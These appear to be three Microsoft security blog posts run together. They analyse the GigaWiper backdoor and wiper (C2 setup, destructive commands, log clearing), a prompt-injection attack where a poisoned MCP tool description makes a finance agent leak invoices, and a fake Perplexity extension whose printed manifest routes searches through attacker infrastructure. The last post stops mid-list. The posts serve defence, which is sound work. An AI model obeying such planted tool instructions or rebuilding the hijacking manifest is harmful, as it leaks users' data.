In October 2025, Microsoft Threat Intelligence identified destructive wiping activity and uncovered a sophisticated Go programming language (Golang)-based backdoor we now track as GigaWiper, a versatile implant that combines robust command-and-control (C2) capabilities with multiple destructive payloads, including disk wiping, fake ransomware, and system-level sabotage.

GigaWiper is particularly notable for its makeup. It’s not a single, purpose-built tool, but an amalgamation of separate malware families that were folded into GigaWiper as on-demand backdoor commands, giving threat actors the flexibility to choose their mode of destruction:

• A standalone wiper that operates at the physical disk level, overwriting raw disk content and removing partition metadata.
• A destructive command that derives from Crucio ransomware and encrypts files with randomly generated keys that are never saved, making decryption impossible.
• A wiping command that reimplements the logic of FlockWiper, a C-based malware reimplemented in Golang with additional multi-pass secure wiping.

The consolidation of multiple destructive capabilities into a modular backdoor reflects a notable shift in wiper malware, which are typically designed purely to destroy rather than to extort and carry real-world consequences. GigaWiper exemplifies threat actors investing in operational efficiency, merging standalone tools into unified platforms that reduce their deployment footprint while expanding their destructive capabilities. GigaWiper is tracked by Google Threat Intelligence Group (GTIG) and Binary Defense as BLUERABBIT.

In this blog, we provide a code-level analysis of GigaWiper’s architecture. We’re sharing these findings, along with Microsoft Defender detections and mitigation recommendations, to enable organizations and the security community to investigate and defend against GigaWiper and similar destructive threats.

A wiper inside a backdoor

Beginning in October 2025, Microsoft Threat Intelligence started observing compromised environments being wiped with destructive tooling. Looking closely at the intrusions, we observed two types of GigaWiper samples:

• Standalone wiper binaries
• Larger binaries with robust backdoor functionality

Both sample types are unstripped portable executable (PE) files written in Golang. Comparing the two samples showed that the standalone wiper’s code is fully embedded inside the backdoor as one of the commands.

The standalone wiper binary

The standalone wiper is an unstripped PE written in Golang. Instead of deleting individual files, it wipes at the physical disk level. It identifies physical drives, determines which drive contains the Windows installation, removes partition references from other drives, overwrites raw disk content, and then reboots the system.

The wiper starts by enumerating physical disks through Windows Management Instrumentation (WMI) using the following query, giving it the device identifiers and disk metadata it needs before deciding how to handle each drive:

The malware then calls main.FindWindowsDrive to determine which physical disk contains the Windows installation (for example, \\.\PHYSICALDRIVE0). With that drive identified, it iterates the remaining disk list and calls main.unallocateDrive on each non-Windows drive to remove their partition references. This is achieved with DeviceIoControl and IOCTL_DISK_CREATE_DISK, which reinitializes the disk’s partitioning metadata and effectively wipes the existing partition table entries. If successful, the malware prints to the console “Partitions removed successfully.”

Next, it proceeds to wipe each drive. It calls main.writeRandToDrive to overwrite each drive in chunks of size 0xA00000. The first byte of each buffer is randomized with crypto/rand.Read, while the rest is filled with zeros. If random generation fails, it uses the byte value “1” instead. This pattern might be intended to avoid detections or mitigations that look for conspicuous full-disk zeroing behavior.

After it finishes wiping the drives, the malware forces an immediate reboot by invoking Windows shutdown functionality with restart and zero-delay options.

The wiper binary as a backdoor command

Next, we analyzed the larger backdoor. The same wiper functionality is also present as one component of the backdoor. The code flow and function names in the larger backdoor are identical to those of the standalone wiper, with the wiper’s main.main routine implemented in the backdoor as the rabbit_tools_tool_wipe_main.WipeMain function.

Backdoor capabilities

With the wiper routine overlap established, this section focuses on the backdoor’s additional capabilities. Beyond destructive functionality, the backdoor sets persistence and implements C2 communication over RabbitMQ and Redis. In analyzing these backdoor capabilities, we discovered that some backdoor commands contain code from additional malware families.

Persistence

The backdoor creates and uses the registry key HKCU\SOFTWARE\OneDrive\Environment to track its execution count. If the key is absent on the system, the malware determines that it’s running on the system for the first time and proceeds to create the key, setting it to “0”. It then creates a new scheduled task named OneDrive Update by running the following command before printing “Task created. Original process exiting.” and exiting the process. The scheduled task is configured to essentially run every minute in addition to running once on system startup.

In subsequent executions, when the registry key exists and is greater than “0”, the malware increments it,  determines that it is running as a scheduled task (prints “Running from Task Scheduler…”), and continues execution normally.

Communication

GigaWiper uses two modes of communication:

• RabbitMQ over AMQP for receiving commands from the C2 server
• Redis server for updating command status and output

The malware decrypts a hard-coded configuration using AES with a hard-coded key. For example, one observed sample uses 185.182.193[.]21:5544 as a RabbitMQ C2 server, and 185.182.193[.]21:7542 for a Redis server, where it uploads results. The configuration also specifies the credentials to use to connect to the RabbitMQ and Redis servers.

To receive commands from the RabbitMQ C2 server, the malware declares a queue and binds it to a fanout exchange named “All”. Because “All” is a fanout exchange, any command published to it is broadcast to every bound queue across infected clients. To enable targeted commands, the malware also declares a topic exchange named “Topic”.  The backdoor binds the queue to “Topic” when the actor issues command 8 (See Commands section) and provides a routing key.

Each command sent by the C2 server is a cmd.Task structure with the following fields:

• task_id
• command_code
• args

To update the Redis server with command status and output, the malware sends it a cmd.Result struct with the following fields:

• error
• target_ip
• task_id
• target_computer_name
• output
• pwd
• time
• status
• work_status

Commands

GigaWiper logs several types of commands using specific categories:

• “always run command” – Commands that are meant to run continuously (like screen recording)
• “manage command” – Commands used to manage things on the system like services or the Registry
• “special command” / “shell command” – Modes of command 7

Each command is represented by a numeric command code from 1 to 20:

Command 1: Calls WipeMain, which is identical to the standalone wiper described in the last section

Command 2: Triggers a Blue screen error (BSOD) and prevents the device from booting

This is achieved by running a sequence of hard-coded destructive commands that disable Windows recovery, take ownership, and grant permissions to critical boot and kernel files before deleting them.

Command 3: Calls RanMain and BigBangExtortMain to trigger a file encryption process that imitates ransomware

The key and initialization vector (IV) that the malware uses to encrypt files are random and are not saved anywhere. The malware reads and encrypts each file, excluding files with extensions like .exe and .dll that are critical for the system to load. Each file is read and AES-CBC encrypted in chunks before being deleted with os.Remove. The file is renamed with the .candy extension.

It drops the following hard-coded image to ./image_danger.jpg and sets it as the wallpaper:

Command 4: Uses MinIO Client (mc) to upload a file to a remote storage

The path to the MinIO client to use is supplied in the command arguments alongside additional settings:

• IPandPort
• AliasName
• Username
• Password
• BucketName
• SourcePath
• MCPath – The path to MinIO Client (mc.exe) to use

Command 5: File encryption utility

This command bulk encrypts or decrypts files with AES-256 in Cipher Block Chaining (CBC) mode. The following are the command arguments:

• key
• iv
• path – The path to encrypt/decrypt (either a directory or a file)
• key_file
• enc – A mode that specifies whether to perform encryption or decryption

The server can specify a key and IV in the arguments. If in encryption mode but no key or IV were provided, the malware generates a random key and IV and stores them in key.txt.

If in decryption mode, the malware first tries to read the key and IV from the provided key file. If it was not provided, the malware attempts to use the key and IV sent as arguments.

Interestingly, the error message shows a glimpse of what running this command might look like from the actor side:

Key/IV required. Use -k/-i or –keyfile

Command 6: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“6”]

We have not seen this structure populated in the binary. The logging message “Exec cmd wipe-file” suggests that this is meant to contain wiper functionality.

Command 7: This command has two types:

Type: shell command – Command for running PowerShell commands. The malware appends ;”|?????|$pwd” to the command. This causes the output of each command to include |?????|, followed by the current working directory. Then, the malware calls os.Chdir to change the working directory to the path output by $pwd, so the next command runs in that same folder.

Type: special command – When command 7 is run with one of the following arguments, it is considered a “special command” and handled as follows:

• purge_cmd_queue: Empties the queue of shell commands, then stops the process run by command 7 “shell command” if it exists
• purge_queue: Empties the queue of normal commands, then stops the process run by commands 6 or 13 if it exists (those are two of the “always run” commands)
• pwd: Sets a global flag to indicate the working status, which is sent to the server in shell command 7, and then proceeds to run pwd using shell command 7.

Command 8: RabbitMQ route manager; allows binding the queue to the “Topic” exchange to receive targeted, non-broadcast commands (Type: manage command)

This command receives a mode of operation (1/2/3), followed by a list of routing keys as arguments:

• Mode 1 – Binds each provided routing key
• Mode 2 – Unbinds each provided routing key
• Mode 3 – Pairs update mode: for each old,new pair, unbinds the old key then binds the new one

Command 9: Takes one screenshot per active monitor/display

The malware saves each screenshot to a PNG file in .\<timestamp\<monitor_index>.png (for example .\2026-06-10_12-30-00\0.png).

Command 10: Records the screen when the user is not idle (10s) and the system is unlocked(Type: always run command)

Recordings are saved in the folder C:\ProgramData\output.

Command 11: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“11”] (Type: always run) command

We have not seen this structure populated in the binary. The logging message “Exec cmd keylog” suggests that this is meant to be a keylogger functionality.

Command 12: Calls WipeCMain to wipe the system

This command is like command 1 (WipeMain), but with a few important differences:

• It only wipes the drive with the Windows installation. Usually it is the C drive, hence the name WipeCMain.
• It performs secure wiping: It wipes the drive with multiple passes, each time overwriting it with different bytes (0s, 0xFF, random bytes…), and prints status messages between passes:
  • Pass 1 Time took: %s\n
  • Pass 2 Time took: %s\n
  • Pass 3 Time took: %s\n
  • …

Command 13: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“13”]

The logging message “Exec cmd wipe32” suggests that this is meant to be another wiper binary. It is run as admin using the command:

Command 14: (not implemented)

Command 15: Collects system info by calling the function GRATClientInfo (Type: manage command)

The command arguments control the amount of info collected:

• long
• short

Collected system info includes:

• IP address
• Machine GUID
• CPU information
• OS information
• Network configuration
• Firmware
• User information
• Antivirus software information, collected by running the following command:

Command 16: Process manager (Type: manage command)

Arguments specify the process and operation to perform:

• process_name
• process_path
• process_id
• process_operation – Performs one of the operations below:
  • createProcess
  • resumeProcess
  • suspendProcess
  • exit (does nothing, returns empty response)
  • list
  • killProcess
  • processInfo – Returns the info below:
    • process_name
    • process_user_name
    • process_id
    • process_thread_count
    • process_memory_info
    • process_exe_path
    • process_status
    • process_error

Command 17: Service manager (Type: manage command)

This command is similar to the other manage commands, but for services. It has the following arguments:

• service_name
• service_display_name
• service_exe_path
• service_operation
  • create
  • delete
  • restart
  • query
  • start
  • list
  • stop

Command 18: Registry manager (Type: manage command)

On first execution, the malware runs rabbit_bin.RunOnceRegistryMain.gowrap1 in the background as a goroutine. On subsequent executions, the routine receives and returns input and output through Go channels. From there, it operates almost like an interactive session, persisting its position in the Registry between requests, and allowing the following operations (arguments):

• registry_root_key
• registry_key_path
• registry_key_name
• registry_value_entities
• registry_operation
  • show – Enumerates current key, subkeys, and values
  • navigate – Change current position to a new key and send its contents
  • back – Go up one level from current key
  • exit – Exits the current session
  • createKey
  • deleteKey
  • deleteValue
  • setValue

Command 19: Clears Windows event logs

First, the malware ensures that it’s running with Administrator privileges. Next, it deletes the System, Setup, Application, and ForwardedEvents event logs by running the following command for each:

Then, for unknown reasons, it prints the hard-coded string “kharbvnmhkjbkjb”.

Finally, it attempts to delete the Security event logs using wevutil.exe. If it fails, it prints the message “Failed to clear Security with wevtutil. Attempting manual removal…” and attempts to directly delete the log file C:\Windows\System32\winevt\Logs\Security.evtx.

Command 20: Starts a server so the attackers can remotely control the system in a VNC-like manner; allows keyboard and mouse control and streams the screen to the attackers (Type: always run command)

This occurs over TCP with the port provided as a command argument. The malware first deletes the existing firewall rule if it exists. The rule name impersonates legitimate Windows firewall rule names:

Finally, the malware creates rules with that name to allow inbound and outbound traffic to its own program over a port provided in the command arguments. The following command is run once with Inbound then with Outbound:

How GigaWiper was assembled

The standalone wiper, implemented as command 1, is only one part of the interesting anatomy of GigaWiper.

The backdoor contains code for two additional wiping commands: command 3, implemented as rabbit_tools_tool_ran_main_cmd_extort.RanMain, and command 12, implemented as rabbit_tools_tool_wipec_main.WipeCMain. Further analysis showed that, like the standalone wiper, these originated from two separate, older malware families previously used by the same threat actor.

In other words, the GigaWiper backdoor is an amalgamation of at least three standalone malware families, stitched together as commands within a single implant, and combined with new backdoor functionality.

RanMain and BigBangExtortMain

As mentioned, command 3 is handled by rabbit_tools_tool_ran_main_cmd_extort.RanMain, which calls rabbit_tools_tool_ran_main_bin.BigBangExtortMain to encrypt the files on the victim system and rename them with the .candy extension. This is a wiper disguised as ransomware. The key and IV are randomly generated but not saved anywhere, and no ransom note is dropped. As a result, the actor has neither the ability nor, apparently, the intent to ever decrypt the files.

The function BigBangExtortMain is notable. A function with the same name was used in the Crucio ransomware, which was documented in a Cybersecurity and Infrastructure Security Agency (CISA) advisory published in December 2023. GigaWiper backdoor command 3 is heavily based on Crucio’s code, leading to the assessment that the same threat actor developed both malware families.

WipeCMain

Command 12 represents the third wiper family that was incorporated into the GigaWiper backdoor. This command is handled by rabbit_tools_tool_wipec_main.WipeCMain. It is very similar to command 1, WipeMain, except that it wipes only the Windows installation drive, and performs more secure wiping with multiple passes.

Our research revealed that WipeCMain is essentially identical to the standalone wiper that Microsoft tracks as FlockWiper. While FlockWiper was written in C, its logic appears to have been reimplemented in Golang within GigaWiper. In essence, the two variants follow the same core execution flow, and many of the strings are identical, though the GigaWiper implementation appears to be a more updated version. FlockWiper was first uploaded to VirusTotal in June 2025, months before GigaWiper was first observed in the wild.

Another notable detail is that the observed FlockWiper samples contain program database (PDB) paths referencing “GRAT”:

• A:\GRAT\CWipeNew\Release\CWipeNew.pdb
• E:\files\new\GRAT\CWipe\Release\CWipe.pdb

The name “GRAT” is also prevalent in several function names within the GigaWiper backdoor. Although the FlockWiper binaries do not include “GRAT” functionality, the PDB paths provide another link between the two malware families.

Conclusion: Multiple destructive capabilities consolidated into a single implant

GigaWiper is a backdoor with extensive operational capabilities that allow a threat actor to maintain control over infected systems, execute commands, deploy additional tooling, and ultimately trigger one of multiple destructive commands on demand. It allows the threat actor to operate with flexibility, enabling both quiet espionage activity and destructive wiping operations.

Our research reveals that GigaWiper was created by combining and reimplementing components from at least three previously separate malware families. This includes the wiping functionality, and the file-encrypting ransomware that leaves no way to decrypt the files.

We tied GigaWiper to both Crucio and FlockWiper based on code analysis, shared execution flow, function naming, and unique strings. Crucio’s code was the base for GigaWiper command 3, and FlockWiper was recoded in Golang and updated for GigaWiper command 12. In addition, the references of “GRAT” in both the FlockWiper PDB paths and GigaWiper function names provide an additional link between these tools, and suggests the possible existence of another related component or framework that has not yet been recovered.

Overall, these findings show the evolution of the actor’s tooling over time. Functionality was merged into a single robust backdoor, granting the actor more ways to control and destroy infected systems.

Defending against destructive threats

To harden networks against GigaWiper, defenders can implement the following mitigation steps:

• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Block direct access to known C2 infrastructure where possible, informed by your organization’s threat intelligence sources.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against techniques used by threat actors:
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: GigaWiper

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post GigaWiper: Anatomy of a destructive backdoor assembled from multiple malware appeared first on Microsoft Security Blog.

As enterprise deployments mature, some enterprise AI agents are shifting from reading content to taking action. In this post, Microsoft Incident Response walks through an attack pattern that targets the fastest growing part of the agentic AI supply chain: Model Context Protocol (MCP) tools. The post provides a practical playbook for detecting, containing, and preventing this class of attack using Microsoft security controls.

From reading to acting

This is the third post in the AI Application Security series. AI Application Series 1: Security considerations when adopting AI tools examined how AI adoption expands the enterprise attack surface. AI Application Series 2: Detecting and analyzing prompt abuse in AI tools showed how indirect prompt injection can bias the output of a passive AI summarizer. In both cases, the AI only read content and produced text, it did not take action. This post addresses what happens when that boundary changes.

AI agents can plan multi-step tasks, decide which tools to invoke, and execute actions on behalf of the user. Microsoft 365 Copilot can draft and send email, create documents, and update calendar entries. Copilot Studio and Azure AI Foundry allow organizations to build custom agents that connect to business systems through MCP. As AI is increasingly used in read-write workflows, the impact profile of vulnerabilities may shift. A prompt injection against a summarizer can bias an output. A prompt injection against an agent can trigger an action.

According to the International Data Corporation (IDC), the number of active AI agents in enterprises is projected to grow from 28.6 million in 2025 to more than 2.2 billion by 2030. That scale is why the OWASP Top 10 for Agentic Applications, released in December 2025, now sits alongside the LLM Top 10 as a reference framework for defenders. This post focuses on one of its fastest-moving categories: tool misuse and agentic supply chain risk exploited through poisoned MCP tool metadata.

Attack pattern: MCP tool poisoning in a finance workflow

The pattern below maps to ASI02 – Tool Misuse and ASI04 – Agentic Supply Chain Vulnerabilities. It reflects techniques first disclosed by Invariant Labs in April 2025 and observed in 2026 against a growing range of enterprise agents.

The environment

A financial operations team builds a Copilot Studio agent to help analysts handle vendor invoices. The agent has generative orchestration enabled and connects to three tools: a Dataverse MCP server holding the approved vendor master, an Outlook connector for vendor correspondence, and a third-party invoice enrichment MCP server added to validate banking details against an external reference database. The third-party server is reviewed by the team’s service owner lead and approved for production use. No separate security review is performed.

Attack chain overview

Phase 1: Tool description poisoning. A developer pushes an update to the enrichment server. The tool name and user-facing summary remain unchanged, but the MCP tool description is silently modified. This description is the natural-language metadata the agent reads to decide how and when to call the tool. Buried within what appears to be legitimate formatting guidance is a hidden block of instructions directing the agent to retrieve the last thirty unpaid invoices, summarize them, and attach that summary as an additional parameter in the enrichment call—framed as a fraud-heuristic requirement.

Phase 2: Silent re-trust.The MCP reflects tool metadata updates dynamically. In configurations where description changes do not trigger a re-approval workflow, the updated instructions become active without additional review. The poisoned description is live in production.

Phase 3: User invocation. A financial analyst asks the agent a routine question about a supplier. Without any visible indication, the agent follows the hidden instructions embedded in the poisoned tool description, collecting sensitive financial records beyond the scope of the original request and forwarding them as part of the enrichment call, as if it were a normal part of the request.

Phase 4: Exfiltration. The enrichment server returns a plausible “validated” response and silently logs the attached invoice summary to a threat actor-controlled endpoint. The analyst sees a clean answer. No alert may fire in default configurations. Every individual action the agent took was within its normal operating parameters. This pattern does not exploit a vulnerability in Copilot itself, but rather a trust boundary introduced by external tool integrations.

Why this pattern is effective

Each action the agent takes on its own is legitimate. The tool is approved, the Dataverse query inherits the analyst’s permissions, and the outbound call goes to a server that was allowlisted when it was added. The vulnerability is not in any single system; it is in the trust boundary between them.The MCP blends instructions (tool descriptions) with data, so a change to a tool’s metadata can redirect the agent’s behavior as effectively as a change to its system prompt. The agent cannot distinguish between a legitimate instruction authored by its owner and a malicious instruction inserted by an upstream maintainer.

Mitigation and protection guidance

Detection and response with Microsoft security tools

The controls mapped in Figure 1 apply at four points in the attack chain, each supported by a specific Microsoft capability:

• Govern the supply chain. Maintain a tenant-level allowlist of approved MCP publishers and servers. The Microsoft MCP catalog provides a list of first-party servers, review and assess where provenance is verifiable. Disable Allow all on MCP connections and enable only the specific tools an agent needs.
• Inspect tool metadata. Use Prompt Shields in Azure AI Content Safety to inspect content flowing from MCP tool responses and descriptions into agent context. Defender for Cloud’s AI workload protection alerts on suspicious prompts and tool outputs at runtime. Review metadata changes to production tools with the same rigor as changes to system prompts.
• Guard the action. Microsoft Purview Data Loss Prevention (DLP) policies inspect tool call parameters and can block sensitive data in outbound payloads. For high-impact actions such as financial data access, external sharing, or account changes, configure human-in-the-loop approval through Copilot Studio. Assign each agent a non-human identity in Microsoft Entra Agent ID and apply Conditional Access to its workload identity.
• Correlate the chain. When MCP server telemetry is instrumented and forwarded to Microsoft Sentinel, it can be correlated against agent behavior signals to flag anomalous sequences. Microsoft Defender for Cloud Apps surfaces new external endpoints an agent has started interacting with. Microsoft Purview audit logs provide the evidence trail for investigation and post-incident review.

Three principles for agent supply chain governance

Treat every MCP server as part of the supply chain. Every MCP server an agent can call is a production dependency. Maintain an inventory of approved publishers, review tool descriptions during security review rather than relying on tool names alone, and require a documented owner for any third-party server before production use.

Treat tool descriptions as system prompts. Because models can read tool metadata as part of their working context, a change to that metadata is equivalent to a change in agent instructions. Require change review for tool description updates on critical agents and use Prompt Shields to inspect metadata for imperative language that does not belong in a documentation field.

Apply least agency, not just least privilege. There are important factors to consider for permissions. Even a minimally permissioned agent can cause harm if it has too much autonomy. Turn off Allow all tool access, require human approval for high-impact actions, and establish baseline agent behaviors in Microsoft Sentinel so that deviations from the norm—such as new endpoints, expanded parameters, or unusual query patterns—trigger alerts.

Conclusion

Agents that act on behalf of users depend on a supply chain of tools that is growing as governance programs continue to evolve. A threat actor who modifies a tool description may influence agents that rely on it, even without directly involving a user, a prompt, or a credential. The OWASP Top 10 for Agentic Applications provides the framework.

Microsoft security capabilities—including Copilot Studio guardrails, Prompt Shields, Defender for Cloud AI Protection, Microsoft Entra Agent ID, Microsoft Purview DLP, Microsoft Defender for Cloud Apps, and Microsoft Sentinel—provide the controls. What remains is to apply them deliberately to agentic workflows: scope permissions, govern the tool supply chain, monitor agent behavior, and perform red teaming exercises before deployment.

References

• IDC FutureScape 2026 Predictions Reveal the Rise of Agentic AI and a Turning Point in Enterprise Transformation. IDC (accessed 2026-06-03)
• OWASP GenAI Security Project Releases Top 10 Risks and Mitigations for Agentic AI Security. OWASP Gen AI Security Project (accessed 2026-06-03)
• MCP Security Notification: Tool Poisoning Attacks. Invariant Labs (accessed 2026-06-03)

Microsoft follows coordinated disclosure practices and is not disclosing details of any specific affected organization.

This research is provided by Microsoft Defender Security Research, Mohammed Zaid, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Securing AI agents: When AI tools move from reading to acting appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence has identified a malicious Chromium-based extension that spoofs the AI-powered answer engine Perplexity AI to trick unsuspecting users into installing it. Based on our observation of the extension’s behavior, we assess its primary objective to be search traffic interception and data collection, which might enable downstream use cases such as profiling, targeted advertising, or other forms of misuse depending on operator intent. Through responsible disclosure, we reported this extension to Google, and it has been taken down as of this writing. We’d like to thank Google for responding to and addressing this issue.

Browser extensions continue to represent a significant attack surface within enterprise and consumer ecosystems due to their privileged access to browser APIs, user traffic, and browsing behavior. However, unlike traditional search hijackers that rely primarily on aggressive monetization or visible redirection, this extension combines Manifest Version 3 (MV3) capabilities with intermediary infrastructure and declarativeNetRequest (DNR) rules to transparently intercept Omnibox queries while preserving the appearance of legitimate search results. In addition, while browser search hijacking is not a new threat category, this research highlights how threat actors continue to operationalize AI to accelerate attacks—specifically the use of AI brands as a social engineering vector.

The extension routes both full search queries and real-time search suggestions (typed characters) through attacker-controlled infrastructure hosted on a domain not associated with the legitimate vendor, before redirecting users to expected search providers. While the observed activity demonstrates the capability to capture user input and browsing signals, no evidence in our analysis definitively confirms additional objectives such as credential theft. However, the level of access and permissions requested introduces elevated privacy and security risk.

As threat actors continue to capitalize on emerging industry trends such as AI and leverage trusted branding to improve the success rates of their campaigns, organizations should strengthen user awareness training and similar programs to educate end users about the latest social engineering tactics. They should also implement a layered security strategy that correlates available indicators with behavioral signals and other threat intelligence.

In this blog post, we provide our analysis of the browser extension—including key indicators of malicious behavior and findings from our dynamic analysis. We also provide mitigation and protection guidance, as well as advanced hunting queries, to help organizations detect and defend against this threat.

Extension overview

The extension we analyzed has the following attributes:

It appears to spoof the publicly available Perplexity service by using similar branding elements and a typosquatted domain. The said domain mismatch might increase the likelihood of user confusion regarding the extension’s source or affiliation.

Based on our analysis, the extension has been classified as malicious due to observed search redirection behavior. The analyzed extension’s manifest declares itself as the following:

"search_provider": {
    "name": "Perplexity Search"
}

It uses the following infrastructure:

"search_url": https://perplexity-ai[.]online/search/{searchTerms}

The extension also forces itself as the browser default search provider:

"is_default": true

At first glance, the extension appears to provide AI-enhanced search functionality. However, analysis of the manifest reveals multiple suspicious behaviors and permissions inconsistent with legitimate AI search assistants.

Key indicators of malicious behavior

Typosquatted infrastructure

The extension uses the domain perplexity-ai[.]online, which is similar to the legitimate Perplexity AI service’s domain (perplexity[.]ai). This pattern is consistent with domain naming approaches often frequently observed in phishing campaigns, search hijackers, fake AI applications, and extension malware.

Previous research has discussed how browser extensions might use branding similar to trusted services because:

• Users associate AI tools with productivity and legitimacy
• AI-related extensions currently experience high install rates
• Users are less suspicious of browser-integrated AI assistants

Browser search hijacking

The extension overrides browser search settings through chrome_settings_overrides to replace the browser default search provider as well as intercept and redirect all queries in a Chromium browser’s Omnibox to an intermediary infrastructure not associated with the official vendor domain:

"chrome_settings_overrides": { 
  "search_provider": { 
    "name": "Perplexity Search", 
    "keyword": "perplexity", 
    "is_default": true, 
    "search_url": "hxxps://perplexity-ai[.]online/search/{searchTerms}", 
    "favicon_url": "hxxps://perplexity-ai[.]online/favicon.ico", 
    "suggest_url": "hxxps://perplexity-ai[.]online/search?output=firefox&q={searchTerms}" 
  } 
} 

Critically, the suggest_url field also routes through perplexity-ai[.]online. This means real-time search suggestions—every character typed in the address bar—are transmitted to an attacker-controlled infrastructure before any redirect occurs. This constitutes active user surveillance (keystroke-level capture) beyond simple search redirection.

Although Chromium-based browsers permit search provider overrides for legitimate use cases, Google explicitly states that extensions requesting settings overrides along with additional powerful capabilities might violate the browser’s single-purpose policy.

Abuse of declarativeNetRequest

The extension requests powerful DNR permissions that enable traffic redirection, URL rewriting, and selective request filtering, which aren’t consistent with expected AI assistant behavior:

"permissions": 
[
  "declarativeNetRequest",
  "declarativeNetRequestFeedback",
  "declarativeNetRequestWithHostAccess"
]

These permissions provide specific capabilities exploited by this extension:

• declarativeNetRequest: Redirects all main_frame requests matching perplexity-ai[.]online/search/(.*) to legitimate search engines, creating a two-hop chain where the attacker server processes the query before the browser is redirected.
• declarativeNetRequestFeedback: Allows the extension to programmatically monitor which redirect rules fire, effectively confirming exfiltration success for each intercepted query.
• declarativeNetRequestWithHostAccess: Combined with host_permissions for ://perplexity-ai.online/, enables full request interception capabilities on the attacker-controlled domain. This behavior might enable traffic redirection and related activity depending on implementation.

The use of these permissions in an AI-themed search extension is particularly concerning because a legitimate search UI generally doesn’t require advanced network-manipulation APIs.

Search rewrite infrastructure

Multiple rule sets indicate modular traffic hijacking capability across providers such as Perplexity, Google, and Bing:

"rule_resources": [
  {
    "id": "perplexity",
    "enabled": true,
    "path": "perplexity-rules.json"
  },
  {
    "id": "bing",
    "enabled": false,
    "path": "bing-rules.json"
  },
  {
    "id": "google",
    "enabled": false,
    "path": "google-rules.json"
  }
]

This architecture enables modular traffic redirection controlled by the background service worker. The two-hop redirect design is critical to understanding the threat model:

1. Browser sends query to perplexity-ai[.]online (attacker server logs query, HTTP headers, IP, user-agent)
2. DNR rule immediately redirects browser to legitimate engine (perplexity[.]ai, google[.]com, or bing[.]com)
3. User sees normal search results, completely unaware of interception

The data theft occurs on hop 1, not on the redirect (hop 2). The server-side code (server.js) shipped with the extension explicitly logs all incoming requests including full headers, confirming the data collection intent. This activity aligns with behaviors observed in modern browser hijackers and ad-fraud ecosystems.

Host permissions

The extension requests host access to intermediary infrastructure not associated with the official vendor domain, enabling data interception and telemetry exposure:

"host_permissions":
 [
  "*://perplexity-ai[.]online/*"
]

Content security policy

The extension declares the following:

"content_security_policy": {"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self';"} 

The inclusion of wasm-unsafe-eval is unusual for a search-redirect extension because it permits WebAssembly (Wasm) execution within extension pages. Although no Wasm modules were observed in version 2.2, the presence of this directive enables future Wasm-based functionality without requiring modifications to the extension’s content security policy configuration.

Dynamic analysis findings

Upon installation, the extension opens hxxps://extension.tilda[.]ws/perplexityai, presenting target users with an onboarding page designed to resemble a legitimate product setup flow. Similar onboarding techniques have been observed in extension-based adware and search-redirection campaigns, where they’re used to increase user trust and reduce scrutiny of subsequent browser modifications.

The runtime workflow we’ve observed demonstrates browser search redirection behavior:

1. User enters search query into the Omnibox.
2. Browser request routed to perplexity-ai[.]online.
